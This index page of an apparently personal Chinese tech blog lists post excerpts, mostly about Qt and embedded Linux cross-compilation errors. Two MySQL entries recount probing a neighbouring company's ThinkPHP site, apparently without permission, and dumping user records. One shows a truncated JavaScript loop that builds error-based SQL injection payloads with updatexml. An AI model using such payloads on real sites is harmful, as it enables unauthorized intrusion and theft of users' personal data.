[embedded]../libtool: eval: line

2017-3-10 写技术

There is an error: ../libtool: eval: line 950: syntax error near unexpected token `|’ You can ignore the line number, it depends on which program you are compiling. After some debugging, I find out that it looks like this was being caused by NM not being defined. Appears that it was being concat...

阅读全文>>

标签: embedded

评论(0) 浏览(1478)

[embedded]crosstool-ng能记住之前编译到哪一步

2017-3-7 写技术

据说crosstool-ng从某版本(可能是1.18)开始支持分步编译了。意思是中断改错之后,不用再从头开始编译。这么牛逼的技能居然被忽略。 ct-ng menuconfig Paths and misc options  —> [*]Debug crosstool-NG [*]Save intermediate steps ct-ng list-steps 然后看着办吧,我还没试验过的,回头试试去……

阅读全文>>

标签: embedded

评论(1) 浏览(1451)

[linux]ubuntu升级的重要性

2017-3-5 写技术

安装个crosstool-ng, 然后编译个交叉工具:ct-ng build 这一下来各种错啊, stray '177' in program no std iostream 以后一定要记住,新装的ubuntu,会有各种升级提醒,一定要升个级先。

阅读全文>>

标签: linux

评论(0) 浏览(1442)

[JS]用一段代码去遍历QQ号码

2017-3-1 写技术

用一段代码去遍历QQ号码,然后你就可以方便地在文件里查找自己喜欢的号码了, 不过现在玩QQ号码的人应该很少了——我玩的不是号码: // 地址:http://haoma.qq.com/shop.html var ret = ""; var i=0; function nextqq(){ $(".search_mod_list ul li").each(function(){ var str = $(this).find("a").attr("href"); str = str.split('num='); str = str[1...

阅读全文>>

标签: JS

评论(0) 浏览(1619)

[MySQL]真实的曝库攻击

2017-2-23 写技术

今天是真的曝了几个库,而且实现了全自动化记录数据。 一个网站可以曝出几百上千的用户信息,这下知道所谓的社工库怎么来的了吧: var bb=0; var logs = ""; for(i=1;i<400;i){ var username=new Array(); username[0] = "exp"; bb++; switch(bb){ case 1: username[1] = "-1 or updatexml(0,concat(0xa,(select concat("+i+",'+',username) from nqx_ucent...

阅读全文>>

标签: MySQL

评论(1) 浏览(1495)

[MySQL]回家弄了个曝库攻击

2017-2-22 写技术

公司隔壁是一家做图像识别的企业,去年才成立的,我最喜欢这种新鲜事物了,今天特意看了看他们的网站,用thinkphp框架做的。thinkphp有一些致命点,兴许他们没工夫处理呢。那今天就来检查检查吧。 首先,各个目录的列表权限——他们没有做处理,Application,Data,Runtime等目录一览无余,安装包都原封不动地躺在那,我清楚地看到他们改动了哪些文件。不过这些意义不是特别大,没有看到什么有价值的东西,有几个数据库脚本也只是原始安装文件。 然后,在Runtime目录下有日志文件,这个略有用,看到了登录后台,看到了登录用户‘Administrator’,而且用户只有一个,看到了一系...

阅读全文>>

标签: MySQL

评论(0) 浏览(1660)

[linux]arm-linux-ar not found

2017-2-16 写技术

There's an error in compiling Qt_ARM that: arm-linux-ar not found vi src/3rdparty/webkit/Source/JavaScriptCore/Makefile.WebKit Set AR as absolute path like: AR            = /opt/crosstool/gcc-4.4.3/bin/arm-linux-ar cqs It works.

阅读全文>>

标签: linux

评论(0) 浏览(1851)

[linux]invalid conversion from 'void*' to 'HB_PositionRec_*'

2017-2-15 写技术

I get some errors while compilling Qt_ARM: ../3rdparty/harfbuzz/src/harfbuzz-buffer.c: In function 'HB_Error hb_buffer_ensure(HB_BufferRec_*, HB_UInt)': ../3rdparty/harfbuzz/src/harfbuzz-buffer.c:77: error: invalid conversion from 'void*' to 'HB_PositionRec_*' ../3rdparty/harfbuzz/s...

阅读全文>>

标签: linux

评论(1) 浏览(1481)

[linux] The tslib functionality test failed while installing qtlib

2017-2-14 写技术

The tslib functionality test failed!  You might need to modify the include and library search paths by editing  QMAKE_INCDIR and QMAKE_LIBDIR in  /usr/local/Qt_ARM/mkspecs/qws/linux-arm-g++. 1.If installed tslib or not? If not,install it. 2.If defined tslib path exactlly in ...

阅读全文>>

标签: linux

评论(0) 浏览(1970)

[linux]__sync_add_and_fetch is not defined

2017-2-9 写技术

There's an error that "__sync_add_and_fetch is not defined" while I'm building Qt. Just because of gcc I used is version 3.4, It works after I changed gcc to version 4.6.

阅读全文>>

标签: linux

评论(0) 浏览(1508)

Powered by anycle 湘ICP备15001973号-1